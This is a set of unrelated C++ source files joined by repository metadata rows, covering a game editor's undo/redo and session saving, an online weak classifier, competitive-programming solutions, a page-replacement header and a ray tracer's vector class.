destProp = srcProp;
}
});
});
}
});
}
});
snapshot.selection() = saveEditSelection();
}
static void loadEditSnapshot() {
if (auto &snapshot = editHistory.snapshots()[editHistory.lastIndex()]; snapshot.valid()) {
each(destroyEntity);
for (auto &entitySnapshot : snapshot.entitySnapshots()) {
auto ent = createEntity(entitySnapshot.ent());
for (auto &componentSnapshot : entitySnapshot.componentSnapshots()) {
componentSnapshot.add(componentSnapshot.data, ent);
}
}
}
}
// Undo / redo
bool canUndoEdit() {
auto &curr = editHistory.snapshots()[editHistory.lastIndex()];
auto prevI = editHistory.lastIndex() == 0 ? editMaxSnapshots - 1 : editHistory.lastIndex() - 1;
auto &prev = editHistory.snapshots()[prevI];
return prev.valid() && (!curr.valid() || prev.time() <= curr.time());
}
void undoEdit() {
auto &curr = editHistory.snapshots()[editHistory.lastIndex()];
auto prevI = editHistory.lastIndex() == 0 ? editMaxSnapshots - 1 : editHistory.lastIndex() - 1;
auto &prev = editHistory.snapshots()[prevI];
if (prev.valid() && (!curr.valid() || prev.time() <= curr.time())) {
editHistory.lastIndex() = prevI;
loadEditSnapshot();
if (curr.valid()) {
loadEditSelection(curr.selection());
if (!isEmpty(curr.inspectedComponentTitle())) {
copy(edit.inspectedComponentTitle(), curr.inspectedComponentTitle());
}
notifyEdit("undid %s", curr.description());
}
}
}
bool canRedoEdit() {
auto &curr = editHistory.snapshots()[editHistory.lastIndex()];
auto nextI = editHistory.lastIndex() == editMaxSnapshots - 1 ? 0 : editHistory.lastIndex() + 1;
auto &next = editHistory.snapshots()[nextI];
return (next.valid() && (!curr.valid() || next.time() >= curr.time()));
}
void redoEdit() {
auto &curr = editHistory.snapshots()[editHistory.lastIndex()];
auto nextI = editHistory.lastIndex() == editMaxSnapshots - 1 ? 0 : editHistory.lastIndex() + 1;
auto &next = editHistory.snapshots()[nextI];
if (next.valid() && (!curr.valid() || next.time() >= curr.time())) {
editHistory.lastIndex() = nextI;
loadEditSnapshot();
loadEditSelection(next.selection());
if (!isEmpty(next.inspectedComponentTitle())) {
copy(edit.inspectedComponentTitle(), next.inspectedComponentTitle());
}
notifyEdit("redid %s", next.description());
}
}
//
// Session
//
struct EditSession {
Prop(GameState, game);
Prop(cJSON *, scene);
Prop(EditState, edit);
Prop(EditHistory, history);
Prop(Seq<Entity>, selection);
};
JS_DEFINE(char *, JS_getStorage, (const char *key), {
let found = localStorage.getItem(UTF8ToString(key));
if (!found) {
found = "";
}
return allocate(intArrayFromString(found), ALLOC_NORMAL);
});
JS_DEFINE(void, JS_setStorage, (const char *key, const char *value),
{ localStorage.setItem(UTF8ToString(key), UTF8ToString(value)); });
bool loadEditSession() {
EditSession session;
auto str = JS_getStorage("editSession");
JS_setStorage("editSession", "");
if (!str || isEmpty(str)) {
std::free(str);
return false;
}
auto jsn = cJSON_Parse(str);
std::free(str);
read(session, jsn);
cJSON_Delete(jsn);
each(destroyEntity);
game = session.game();
readScene(session.scene());
cJSON_Delete(session.scene());
edit = session.edit();
resetEditHistory();
editHistory = std::move(session.history());
auto maxTime = -INFINITY;
for (auto &snapshot : editHistory.snapshots()) {
if (snapshot.valid() && snapshot.time() > maxTime) {
maxTime = float(snapshot.time());
}
}
for (auto &snapshot : editHistory.snapshots()) {
snapshot.time() -= maxTime + 1;
}
loadEditSelection(session.selection());
notifyEdit("restored session");
return true;
}
JS_EXPORT void JS_saveEditSession() {
EditSession session {
.game { game },
.scene { writeScene() },
.edit { edit },
.history { editHistory },
.selection { saveEditSelection() },
};
auto jsn = write(session);
cJSON_Delete(session.scene());
auto str = stringify(jsn);
JS_setStorage("editSession", str);
cJSON_Delete(jsn);
notifyEdit("saved session");
}
//
// Play / stop
//
void playEdit() {
if (edit.enabled()) {
editHistory.stopSelection() = saveEditSelection();
edit.enabled() = false;
}
}
void stopEdit() {
if (!edit.enabled()) {
edit.enabled() = true;
loadEditSnapshot();
loadEditSelection(editHistory.stopSelection());
}
}
| [
"s.nikhilesh@gmail.com"
] | s.nikhilesh@gmail.com |
b8b9abff3f5dadeb055999ea9b470f9d0335b6b0 | e8916b1c395c3d20226cec21a74c49399ce6da01 | /src/OnlineStumpsWeakClassifier.cpp | f82b3c471f03b89794618a034a2c0d4d5174761a | [] | no_license | santhosh-kumar/MultiCameraTracking | 1b89b4850b5ee1150ff037df2e14da8e5b20a44a | 1aaa0abe22d6832007db04e8828091606f74f12d | refs/heads/master | 2021-01-01T16:20:05.155860 | 2018-02-16T00:45:08 | 2018-02-16T00:45:08 | 19,094,498 | 65 | 33 | null | null | null | null | UTF-8 | C++ | false | false | 5,599 | cpp | #include "OnlineStumpsWeakClassifier.h"
#define FEATURE_DIMENSION 1
#define MAXIMUM_NUMBER_OF_ITERATIONS 10
#define MINIMUM_ERROR_THRESHOLD_FOR_PERCEPTRON 0.5
namespace Classifier
{
/****************************************************************
OnlineStumpsWeakClassifier
C'tor
****************************************************************/
OnlineStumpsWeakClassifier::OnlineStumpsWeakClassifier( )
: WeakClassifierBase( )
{
Initialize();
}
/****************************************************************
IsValidWeakClassifier
****************************************************************/
bool OnlineStumpsWeakClassifier::IsValidWeakClassifier( )
{
try
{
if ( m_mu0 == m_mu1 )
{
return false;
}
return true;
}
EXCEPTION_CATCH_AND_ABORT( "Failed to check the weak claassifier validity" );
}
/****************************************************************
OnlineStumpsWeakClassifier
C'tor
****************************************************************/
OnlineStumpsWeakClassifier::OnlineStumpsWeakClassifier( const int featureId )
: WeakClassifierBase( featureId )
{
Initialize( );
m_learningRate = 0.85f;
}
/****************************************************************
OnlineStumpsWeakClassifier::Initialize
Initializes the parameters
Exceptions:
None
****************************************************************/
void OnlineStumpsWeakClassifier::Initialize()
{
m_mu0 = 0;
m_mu1 = 0;
m_sig0 = 1;
m_sig1 = 1;
m_isWeakClassifierTrained = false;
}
/****************************************************************
OnlineStumpsWeakClassifier::Classify
Classify
Exceptions:
None
****************************************************************/
bool OnlineStumpsWeakClassifier::Classify( const Classifier::SampleSet& sampleSet, const int sampleIndex )
{
float xx = GetFeatureValue( sampleSet, sampleIndex );
double p0 = exp( (xx-m_mu0)*(xx-m_mu0)*m_e0 )*m_n0;
double p1 = exp( (xx-m_mu1)*(xx-m_mu1)*m_e1 )*m_n1;
bool r = p1>p0;
return r;
}
/****************************************************************
OnlineStumpsWeakClassifier::ClassifyF
ClassifyF
Exceptions:
None
****************************************************************/
float OnlineStumpsWeakClassifier::ClassifyF( const Classifier::SampleSet& sampleSet, const int sampleIndex )
{
float xx = GetFeatureValue(sampleSet,sampleIndex);
double p0 = exp( (xx-m_mu0)*(xx-m_mu0)*m_e0 )*m_n0;
double p1 = exp( (xx-m_mu1)*(xx-m_mu1)*m_e1 )*m_n1;
float r = (float)(log(1e-5+p1)-log(1e-5+p0));
return r;
}
/****************************************************************
OnlineStumpsWeakClassifier::Update
Update
Exceptions:
None
****************************************************************/
void OnlineStumpsWeakClassifier::Update( const Classifier::SampleSet& positiveSampleSet,
const Classifier::SampleSet& negativeSampleSet,
vectorf* /*pPositiveSamplesWeightList*/,
vectorf* /*pNegativeSamplesWeightList*/ )
{
float positiveSampleFeatureMeanValue=0.0;
if ( positiveSampleSet.Size() > 0 )
{
positiveSampleFeatureMeanValue = positiveSampleSet.FeatureValues(m_featureIndex).Mean();
}
float negativeSampleFeatureMeanValue = 0.0f;
if( negativeSampleSet.Size() > 0 )
{
negativeSampleFeatureMeanValue = negativeSampleSet.FeatureValues(m_featureIndex).Mean();
}
if ( m_isWeakClassifierTrained )
{
if ( positiveSampleSet.Size()>0 )
{
m_mu1 = ( m_learningRate*m_mu1 + (1-m_learningRate) * positiveSampleFeatureMeanValue );
m_sig1 = ( m_learningRate*m_sig1 + (1-m_learningRate) * ( (positiveSampleSet.FeatureValues(m_featureIndex)-m_mu1).Sqr().Mean() ) );
}
if ( negativeSampleSet.Size()>0 )
{
m_mu0 = ( m_learningRate*m_mu0 + (1-m_learningRate) * negativeSampleFeatureMeanValue );
m_sig0 = ( m_learningRate*m_sig0 + (1-m_learningRate) * ( (negativeSampleSet.FeatureValues(m_featureIndex)-m_mu0).Sqr().Mean() ) );
}
}
else
{
m_isWeakClassifierTrained = true;
if ( positiveSampleSet.Size() > 0 )
{
m_mu1 = positiveSampleFeatureMeanValue;
m_sig1 = positiveSampleSet.FeatureValues(m_featureIndex).Var()+1e-9f;
}
if ( negativeSampleSet.Size()>0 )
{
m_mu0 = negativeSampleFeatureMeanValue;
m_sig0 = negativeSampleSet.FeatureValues(m_featureIndex).Var()+1e-9f;
}
}
//update the factors for fast computation
m_n0 = 1.0f / pow(m_sig0,0.5f);
m_n1 = 1.0f / pow(m_sig1,0.5f);
m_e1 = -1.0f/(2.0f*m_sig1+1e-99f);
m_e0 = -1.0f/(2.0f*m_sig0+1e-99f);
}
} | [
"santhosh@dchp185-160.ece.ucsb.edu"
] | santhosh@dchp185-160.ece.ucsb.edu |
d9708d07661e2e63f0d74ae26db37dc319965bca | d3fcfbaa0e200f49cefe4b77388292402e428eb3 | /Toph/I Scream, You Scream.cpp | 3f2d51dee75f05ce24a6f5e233ccff276051a613 | [] | no_license | edge555/Online-Judge-Solves | c3136b19dc2243e9676b57132d4162c554acaefb | 452a85ea69d89a3691a04b5dfb7d95d1996b736d | refs/heads/master | 2023-08-22T03:23:11.263266 | 2023-08-21T07:22:33 | 2023-08-21T07:22:33 | 145,904,907 | 14 | 3 | null | null | null | null | UTF-8 | C++ | false | false | 1,328 | cpp | #include <bits/stdc++.h>
#define FAST ios_base::sync_with_stdio(false);cin.tie(NULL);cout.tie(NULL)
#define pf printf
#define sc scanf
#define sf(n) scanf("%d",&n)
#define sff(n1,n2) scanf("%d %d",&n1,&n2)
#define sfff(n1,n2,n3) scanf("%d %d %d",&n1,&n2,&n3)
#define sl(n) scanf("%lld",&n)
#define sll(n1,n2) scanf("%lld %lld",&n1,&n2)
#define slll(n1,n2,n3) scanf("%lld %lld %lld",&n1,&n2,&n3)
#define rep0(i,n) for(i=0;i<n;i++)
#define rep(i,n) for(i=1;i<=n;i++)
#define reps(i,a,n) for(i=a;i<=n;i++)
#define nl puts("");
#define pb push_back
#define MOD 1000000007
#define fi first
#define se second
#define N 100005
#define mem(ara,n) memset(ara,n,sizeof(ara))
#define memb(ara) memset(ara,false,sizeof(ara))
#define all(x) (x).begin(),(x).end()
#define sq(x) ((x)*(x))
#define sz(x) x.size()
#define pi pair<int,int>
#define pii pair<pair<int,int>,pair<int,int> >
#define line puts("-------");
#define db(x) cout<<#x<<" :: "<<x<<"\n";
#define dbb(x,y) cout<<#x<<" :: "<<x<<"\t"<<#y<<" :: "<<y<<"\n";
#define fr freopen("input.txt","r",stdin);
#define fw freopen("output.txt","w",stdout);
typedef long long int ll;
using namespace std;
int main()
{
FAST;
int t,tc;
cin>>tc;
rep(t,tc)
{
double r;
cin>>r;
cout<<fixed<<setprecision(10)<<(4*3.141592653589*r*r*r)/3.0<<endl;
}
}
| [
"shoaib27@student.sust.edu"
] | shoaib27@student.sust.edu |
a2ea4aa366c406ef8a991d291f54d0094f05bdd5 | b1413cbd636dc706255b025a80a1b035a080768a | /include/optimal_iterative_replacement_algorithm.h | 0a642cc5dce044423f9480bfb4b50b7e9ca43dc7 | [
"MIT"
] | permissive | spencerturkel/page-replacement-simulator | 6a04d440391d626c869578c6c2e550bc9d71966c | 4911c4f8df70b9877737a64dbc9940514188bd6e | refs/heads/master | 2021-08-11T18:07:30.702337 | 2017-11-14T01:27:37 | 2017-11-14T01:27:37 | 110,624,589 | 1 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 1,058 | h | #pragma once
#include <vector>
#include <unordered_map>
#include "iterative_replacement_algorithm.h"
struct optimal_iterative_replacement_algorithm_state
{
using next_page_use_iterator = std::vector<int>::const_iterator;
using page_table = std::unordered_map<int, next_page_use_iterator>;
page_table table;
explicit optimal_iterative_replacement_algorithm_state(const int& page_table_size)
{
const auto vector = std::vector<int>{};
for (auto i = 1; i <= page_table_size; ++i)
{
table.insert({-1 * i, vector.cend()});
}
}
explicit optimal_iterative_replacement_algorithm_state(page_table table);
};
struct optimal_iterative_replacement_algorithm : iterative_replacement_algorithm<
optimal_iterative_replacement_algorithm_state>
{
optimal_iterative_replacement_algorithm(const int page_table_size);
auto make_initial_state() const -> std::unique_ptr<state> override;
auto run_step(const state& current_state, const input& all_input,
const input_const_iter& current_input) const -> run_step_result override;
};
| [
"spencer@palmbeachsoftware.com"
] | spencer@palmbeachsoftware.com |
ffa3fc8988a39b66338fcf9eec0054c914cb3e28 | 09a4962b93c196f2f8a70c2384757142793612fd | /Dripdoctors/build/Android/Preview/Dripdoctors/app/src/main/include/Fuse.Animations.DiscreteSingleTrack.h | 37e4eadf18c94514331ddd9024ad03b49b504823 | [] | no_license | JimmyRodriguez/apps-fuse | 169779ff2827a6e35be91d9ff17e0c444ba7f8cd | 14114328c3cea08c1fd766bf085bbf5a67f698ae | refs/heads/master | 2020-12-03T09:25:26.566750 | 2016-09-24T14:24:49 | 2016-09-24T14:24:49 | 65,154,944 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 2,222 | h | // This file was generated based on C:\ProgramData\Uno\Packages\Fuse.Animations\0.32.14\$.uno.
// WARNING: Changes might be lost if you edit this file directly.
#pragma once
#include <Fuse.Animations.DiscreteTrackProvider.h>
#include <Fuse.Animations.ITrackProvider.h>
#include <Fuse.Animations.TrackProvider.h>
#include <Uno.Object.h>
namespace g{namespace Fuse{namespace Animations{struct DiscreteSingleTrack;}}}
namespace g{namespace Fuse{namespace Animations{struct TrackAnimator;}}}
namespace g{namespace Fuse{namespace Animations{struct TrackAnimatorState;}}}
namespace g{
namespace Fuse{
namespace Animations{
// internal sealed class DiscreteSingleTrack :1162
// {
struct DiscreteSingleTrack_type : uType
{
::g::Fuse::Animations::DiscreteTrackProvider interface0;
::g::Fuse::Animations::ITrackProvider interface1;
::g::Fuse::Animations::TrackProvider interface2;
};
DiscreteSingleTrack_type* DiscreteSingleTrack_typeof();
void DiscreteSingleTrack__ctor__fn(DiscreteSingleTrack* __this);
void DiscreteSingleTrack__FuseAnimationsDiscreteTrackProviderGetSeekProgress_fn(DiscreteSingleTrack* __this, ::g::Fuse::Animations::TrackAnimatorState* tas, double* progress, double* interval, int* dir, uObject** value, double* strength, int* __retval);
void DiscreteSingleTrack__FuseAnimationsDiscreteTrackProviderGetSeekTime_fn(DiscreteSingleTrack* __this, ::g::Fuse::Animations::TrackAnimatorState* tas, double* elapsed, double* interval, int* dir, uObject** value, double* strength, int* __retval);
void DiscreteSingleTrack__FuseAnimationsTrackProviderGetAnimatorVariant_fn(DiscreteSingleTrack* __this, ::g::Fuse::Animations::TrackAnimator* ta, int* __retval);
void DiscreteSingleTrack__FuseAnimationsTrackProviderGetDuration_fn(DiscreteSingleTrack* __this, ::g::Fuse::Animations::TrackAnimator* ta, int* variant, double* __retval);
void DiscreteSingleTrack__New1_fn(DiscreteSingleTrack** __retval);
struct DiscreteSingleTrack : uObject
{
static uSStrong<DiscreteSingleTrack*> Singleton_;
static uSStrong<DiscreteSingleTrack*>& Singleton() { return DiscreteSingleTrack_typeof()->Init(), Singleton_; }
void ctor_();
static DiscreteSingleTrack* New1();
};
// }
}}} // ::g::Fuse::Animations
| [
"jimmy_sidney@hotmail.es"
] | jimmy_sidney@hotmail.es |
34222dd64cfed133ecddd87ba9587f79c90816f5 | c75e7dacc70bb6cbc7ea9eadc0ba4837b2679bee | /divisibilityproblem.cpp | f77c954e39e56209bf33e8346ed37b3383b761b7 | [] | no_license | akashc1612/Codeforces_ras | 0f602b8b88eeea87687548cfdb082541f64a412b | 0c17831e5ea4ec6ce835848a56c3f04ecadd7155 | refs/heads/main | 2023-04-17T08:20:16.646366 | 2021-04-27T04:03:18 | 2021-04-27T04:03:18 | 361,467,630 | 1 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 258 | cpp | #include <bits/stdc++.h>
using namespace std;
void solve(){
int a,b;
cin>>a>>b;
int z=a%b;
if(z==0){
cout<<z<<endl;
return;
}
cout<<abs(z-b)<<endl;
}
int main(){
cin.tie(0);
int t;
cin>>t;
while(t--)
solve();
return 0;
}
| [
"noreply@github.com"
] | akashc1612.noreply@github.com |
11bf44b62dc859e0119dd9425490e66611d1f221 | bcaa46093f8e82cffe5cb2788e04bd139b29a862 | /CastleVania/Panther.h | 29d648327f591e6f0cadce055f619f51a51e65f0 | [] | no_license | TuanAnhNguyen69/CastleVaniaNew | c42ab0287480aa3357e2f156c88523349fde5b81 | 2e2c75047b1f1c5e45569e38ded4ab8664b98920 | refs/heads/master | 2020-03-22T23:25:34.676067 | 2018-07-30T10:03:50 | 2018-07-30T10:03:50 | 140,809,751 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 526 | h | #pragma once
#include "ActiveObject.h"
#define PANTHER_JUMP_HEIGHT 20.0f
#define PANTHER_SPEED 0.4f
#define PANTHET_JUMP_SPEED 0.3f
class Panther :
public ActiveObject
{
public:
bool isGrounding;
bool isJump;
Panther();
Panther(float _posX, float _posY);
~Panther();
void Draw(GCamera* camera);
//Chua dinh nghia
void Update(int deltaTime);
//Xet dieu kien hoat dong
void SetActive(float _posX_Simon, float _posY_Siomon);
//Hanh dong nhay
void Jump();
//Va cham, chua dinh nghia
void Collision();
};
| [
"huynquit@users.noreply.github.com"
] | huynquit@users.noreply.github.com |
d59376eba63696db6852bdcdec829aac948ebd7b | 90f9301da33fc1e5401ca5430a346610a9423877 | /300+/321_Create_Maximum_Number.h | 07ed4f65de2601d6ede75cdffcff5ff0b57091b2 | [] | no_license | RiceReallyGood/Leetcode | ff19d101ca7555d0fa79ef746f41da2e5803e6f5 | dbc432aeeb7bbd4af30d4afa84acbf6b9f5a16b5 | refs/heads/master | 2021-01-25T22:58:56.601117 | 2020-04-10T06:27:31 | 2020-04-10T06:27:31 | 243,217,359 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 2,418 | h | #include <vector>
using namespace std;
class Solution {
public:
vector<int> maxNumber(vector<int>& nums1, vector<int>& nums2, int k) {
int m = nums1.size();
int n = nums2.size();
vector<int> sub1(m + 1), sub2(n + 1);
vector<int> ret(k), temp(k);
for(int len1 = max(k - n, 0); len1 <= min(m, k); len1++){
MaxSubArray(nums1, sub1, len1);
MaxSubArray(nums2, sub2, k - len1);
Merge(sub1, len1, sub2, k - len1, temp);
if(comp(temp, ret, k) > 0)
swap(temp, ret);
}
return ret;
}
private:
void MaxSubArray(vector<int>& nums, vector<int>& sub, int len){
for(int i = 0; i < len; i++)
sub[i] = nums[i];
for(int i = len; i < nums.size(); i++){
sub[len] = nums[i];
int j = 0;
while(j < len && sub[j] >= sub[j + 1]) ++j;
while(j < len){
sub[j] = sub[j + 1];
++j;
}
}
}
void Merge(vector<int>& sub1, int len1, vector<int>& sub2, int len2, vector<int>& ret){
int i = 0, j = 0;
int index = 0;
while(i < len1 || j < len2){
if(j == len2 || ((i < len1) && sub1[i] > sub2[j]))
ret[index++] = sub1[i++];
else if(i == len1 || sub1[i] < sub2[j])
ret[index++] = sub2[j++];
else{
int shift = 0;
while(i + shift + 1 < len1 && j + shift + 1 < len2 && sub1[i + shift + 1] == sub2[j + shift + 1] && sub1[i + shift + 1] >= sub1[i + shift])
ret[index++] = sub1[i + shift++];
ret[index++] = sub1[i + shift];
if(i + shift == len1 - 1)
j += shift + 1;
else if(j + shift == len2 - 1)
i += shift + 1;
else{
if(sub1[i + shift + 1] > sub2[j + shift + 1])
i += shift + 1;
else if(sub1[i + shift + 1] < sub2[j + shift + 1])
j += shift + 1;
}
}
}
}
int comp(vector<int>& nums1, vector<int>& nums2, int len){
for(int i = 0; i < len; i++){
if(nums1[i] < nums2[i])
return -1;
if(nums1[i] > nums2[i])
return 1;
}
return 0;
}
}; | [
"1601110073@pku.edu.cn"
] | 1601110073@pku.edu.cn |
a9dc20e23ac1348c882a6625a3a0a2ded71919de | 8812fce9f3ac2890c693ed5f6a231953db2ef0af | /interview-prep/cpp/vector.cpp | 7e158f73aac36edc4534c76bcbba8a20bf921a08 | [] | no_license | timurista/senior-web-dev-course | 69f4a8b4e8f00f62fa39156eb042495d1e490d3b | 3baa726ffd7b549073173b3b68f7c6ac95c00edf | refs/heads/master | 2022-12-12T16:56:29.778517 | 2019-09-24T13:45:40 | 2019-09-24T13:45:40 | 140,991,073 | 1 | 1 | null | 2022-12-10T01:37:07 | 2018-07-15T02:00:06 | JavaScript | UTF-8 | C++ | false | false | 149 | cpp | class vector
{
int size;
double *elem;
public:
vector(int s)
: size{s}, elem{new double[s]} {}
~vector()
{
delete[] elem;
}
}; | [
"timothy.urista@gmail.com"
] | timothy.urista@gmail.com |
efcfc679611acebca169b8a75629d2be70b1a12b | f82a115ee488b9cde6e59bcbf0665822c97ebbf7 | /fcpp/fenwick_tree2.cpp | 5bb6bf15d717d2ce96c70554392f97d8fece96a1 | [
"MIT"
] | permissive | iddoroshenko/Team-Reference-document-ICPC-2019 | 9593c7dfe27b9c91ae8c57373e7427bbec90505a | 6c2146e2598ccf91d556201c4672063344ba0aae | refs/heads/master | 2022-05-08T13:29:54.185683 | 2022-04-11T10:16:49 | 2022-04-11T10:16:49 | 223,246,897 | 0 | 1 | null | null | null | null | UTF-8 | C++ | false | false | 355 | cpp | vector <vector <int> > t;
int n, m;
int sum (int x, int y)
{
int result = 0;
for (int i = x; i >= 0; i = (i & (i+1)) - 1)
for (int j = y; j >= 0; j = (j & (j+1)) - 1)
result += t[i][j];
return result;
}
void inc (int x, int y, int delta)
{
for (int i = x; i < n; i = (i | (i+1)))
for (int j = y; j < m; j = (j | (j+1)))
t[i][j] += delta;
} | [
"ilya.dor201232@gmail.com"
] | ilya.dor201232@gmail.com |
aa30bb9ed10bd443246d14e041ed0952a4b0f603 | cfeac52f970e8901871bd02d9acb7de66b9fb6b4 | /generated/src/aws-cpp-sdk-quicksight/include/aws/quicksight/model/WordCloudWordCasing.h | 9d0df0cf3b44e35a97ec5333921c185f6825fab8 | [
"Apache-2.0",
"MIT",
"JSON"
] | permissive | aws/aws-sdk-cpp | aff116ddf9ca2b41e45c47dba1c2b7754935c585 | 9a7606a6c98e13c759032c2e920c7c64a6a35264 | refs/heads/main | 2023-08-25T11:16:55.982089 | 2023-08-24T18:14:53 | 2023-08-24T18:14:53 | 35,440,404 | 1,681 | 1,133 | Apache-2.0 | 2023-09-12T15:59:33 | 2015-05-11T17:57:32 | null | UTF-8 | C++ | false | false | 709 | h | /**
* Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved.
* SPDX-License-Identifier: Apache-2.0.
*/
#pragma once
#include <aws/quicksight/QuickSight_EXPORTS.h>
#include <aws/core/utils/memory/stl/AWSString.h>
namespace Aws
{
namespace QuickSight
{
namespace Model
{
enum class WordCloudWordCasing
{
NOT_SET,
LOWER_CASE,
EXISTING_CASE
};
namespace WordCloudWordCasingMapper
{
AWS_QUICKSIGHT_API WordCloudWordCasing GetWordCloudWordCasingForName(const Aws::String& name);
AWS_QUICKSIGHT_API Aws::String GetNameForWordCloudWordCasing(WordCloudWordCasing value);
} // namespace WordCloudWordCasingMapper
} // namespace Model
} // namespace QuickSight
} // namespace Aws
| [
"sdavtaker@users.noreply.github.com"
] | sdavtaker@users.noreply.github.com |
0241adf4e8563e64da6d13cbda7f903a91cc7070 | 911b977e29c308588e6f5664db15dd2b0b6f6bdc | /code/673.最长递增子序列的个数.cpp | 53550f46c15dec1ef659b272c3f005de47110820 | [] | no_license | kevin-mei/leetcode | c9bd8fd763ad93421beb17f6d0a9a65587cc4a8d | b20cb39c809fb3df8e566f0c3f76704f8995d395 | refs/heads/master | 2023-04-29T15:53:35.691017 | 2021-05-19T00:14:44 | 2021-05-19T00:14:44 | 269,921,164 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 3,061 | cpp | /*
* @lc app=leetcode.cn id=673 lang=cpp
*
* [673] 最长递增子序列的个数
*
* https://leetcode-cn.com/problems/number-of-longest-increasing-subsequence/description/
*
* algorithms
* Medium (36.29%)
* Likes: 230
* Dislikes: 0
* Total Accepted: 14.3K
* Total Submissions: 39.3K
* Testcase Example: '[1,3,5,4,7]'
*
* 给定一个未排序的整数数组,找到最长递增子序列的个数。
*
* 示例 1:
*
*
* 输入: [1,3,5,4,7]
* 输出: 2
* 解释: 有两个最长递增子序列,分别是 [1, 3, 4, 7] 和[1, 3, 5, 7]。
*
*
* 示例 2:
*
*
* 输入: [2,2,2,2,2]
* 输出: 5
* 解释: 最长递增子序列的长度是1,并且存在5个子序列的长度为1,因此输出5。
*
*
* 注意: 给定的数组长度不超过 2000 并且结果一定是32位有符号整数。
*
*/
// @lc code=start
//#include "pch.h"
class Solution {
public:
int findNumberOfLIS(vector<int>& nums) {
// 定义两个一维数组 dp[n] counts[n]
// dp[i] 代表以nums[i]结尾的LIS的长度
// counts[i] 代表以nums[i]结尾的LIS的数量 (它的计算)
// 两层for循环,讲道理 假设 nums[i] 最长长度为3,它的组合数为2
// 应该找到a 属于[0, i-1]中,nums[a] < nums[i],且 dp[a] == 2,
// count[i] = sum(counts[a]);
// 如何预先知道最长长度为3呢,最长长度应该怎么算?
// a 属于[0, i-1]中,nums[a] < nums[i],在IS{...nums[a],nums[i]}中,dp[i]=dp[a]+1
// 这里dp要找最大的,所以只有当dp[a]+1>dp[i],说明dp[i]需要更新,同时 count[i] = ounts[a];
// 如果dp[a]+1=dp[i],说明前面已经有个达到同样的长度了,这时候count[i] +=counts[a];
// 这也就保证了上面说的逻辑count[i] = sum(counts[a]);
// 有图示的解题思路:https://leetcode-cn.com/problems/number-of-longest-increasing-subsequence/solution/dong-tai-gui-hua-dong-tu-fu-zhu-li-jie-ru-you-bang/
int n = nums.size();
vector<int> dp(n,1);
vector<int> counts(n,1);
for (int i = 0; i < n; i++)
{
for (int j = 0; j < i; j++)
{
if (nums[j] < nums[i])
{
if (dp[j] + 1 > dp[i])
{
dp[i] = dp[j] + 1;
counts[i] = counts[j];
}else if(dp[j] + 1 == dp[i])
{
counts[i] += counts[j];
}
}
}
}
// 最后的返回值 应该是以nums[i]结尾的
// 其中dp[i]达到dp数组长度最长的
// 所有counts[i]的综和
int res = 0;
int LISlength = * max_element(dp.begin(),dp.end());
for(int i = 0; i < n;i++)
{
if(LISlength == dp[i])
{
res+=counts[i];
}
}
return res;
}
};
// @lc code=end
| [
"824087038@qq.com"
] | 824087038@qq.com |
b53bee93a7fb1cbddb4f5ab8b8e540fd933bc8cb | f42608d557a954152938b4cbd87c31e44800e6f8 | /miniRT/C9/vec3.h | d307f490ecbbf02a22a8cb17c886a8c82f490c92 | [] | no_license | SangheonYi/42_cursurs_sayi | 2667ff8918066933de22fc74b628e4d17e4c5100 | 1918f23d4f6558a5909af94372693b57f7bbca94 | refs/heads/master | 2023-09-01T20:45:07.207348 | 2021-10-14T15:48:05 | 2021-10-14T15:48:05 | 233,488,005 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 3,373 | h | #ifndef VEC3_H
#define VEC3_H
#include <cmath>
#include <iostream>
#include "rtweekend.h"
using std::sqrt;
class vec3
{
public:
/*
./vec3.h:12:22: error: expected member name or ';' after declaration
specifiers
vec3() : e{0, 0, 0} {}
^
./vec3.h:12:12: error: expected '('
vec3() : e{0, 0, 0} {}
*/
// vec3() : e{0, 0, 0} {}
// vec3(double e0, double e1, double e2) : e{e0, e1, e2} {}
vec3()
{
e[0] = 0;
e[1] = 0;
e[2] = 0;
}
vec3(double e0, double e1, double e2)
{
e[0] = e0;
e[1] = e1;
e[2] = e2;
}
double x() const { return e[0]; }
double y() const { return e[1]; }
double z() const { return e[2]; }
vec3 operator-() const { return vec3(-e[0], -e[1], -e[2]); }
double operator[](int i) const { return e[i]; }
double &operator[](int i) { return e[i]; }
vec3 &operator+=(const vec3 &v)
{
e[0] += v.e[0];
e[1] += v.e[1];
e[2] += v.e[2];
return *this;
}
vec3 &operator*=(const double t)
{
e[0] *= t;
e[1] *= t;
e[2] *= t;
return *this;
}
vec3 &operator/=(const double t)
{
return *this *= 1 / t;
}
double length() const
{
return sqrt(length_squared());
}
double length_squared() const
{
return e[0] * e[0] + e[1] * e[1] + e[2] * e[2];
}
inline static vec3 random()
{
return vec3(random_double(), random_double(), random_double());
}
inline static vec3 random(double min, double max)
{
return vec3(random_double(min, max), random_double(min, max), random_double(min, max));
}
public:
double e[3];
};
// Type aliases for vec3
using point3 = vec3; // 3D point
using color = vec3; // RGB color
// vec3 Utility Functions
inline std::ostream &operator<<(std::ostream &out, const vec3 &v)
{
return out << v.e[0] << ' ' << v.e[1] << ' ' << v.e[2];
}
inline vec3 operator+(const vec3 &u, const vec3 &v)
{
return vec3(u.e[0] + v.e[0], u.e[1] + v.e[1], u.e[2] + v.e[2]);
}
inline vec3 operator-(const vec3 &u, const vec3 &v)
{
return vec3(u.e[0] - v.e[0], u.e[1] - v.e[1], u.e[2] - v.e[2]);
}
inline vec3 operator*(const vec3 &u, const vec3 &v)
{
return vec3(u.e[0] * v.e[0], u.e[1] * v.e[1], u.e[2] * v.e[2]);
}
inline vec3 operator*(double t, const vec3 &v)
{
return vec3(t * v.e[0], t * v.e[1], t * v.e[2]);
}
inline vec3 operator*(const vec3 &v, double t)
{
return t * v;
}
inline vec3 operator/(vec3 v, double t)
{
return (1 / t) * v;
}
inline double dot(const vec3 &u, const vec3 &v)
{
return u.e[0] * v.e[0] + u.e[1] * v.e[1] + u.e[2] * v.e[2];
}
inline vec3 cross(const vec3 &u, const vec3 &v)
{
return vec3(u.e[1] * v.e[2] - u.e[2] * v.e[1],
u.e[2] * v.e[0] - u.e[0] * v.e[2],
u.e[0] * v.e[1] - u.e[1] * v.e[0]);
}
inline vec3 unit_vector(vec3 v)
{
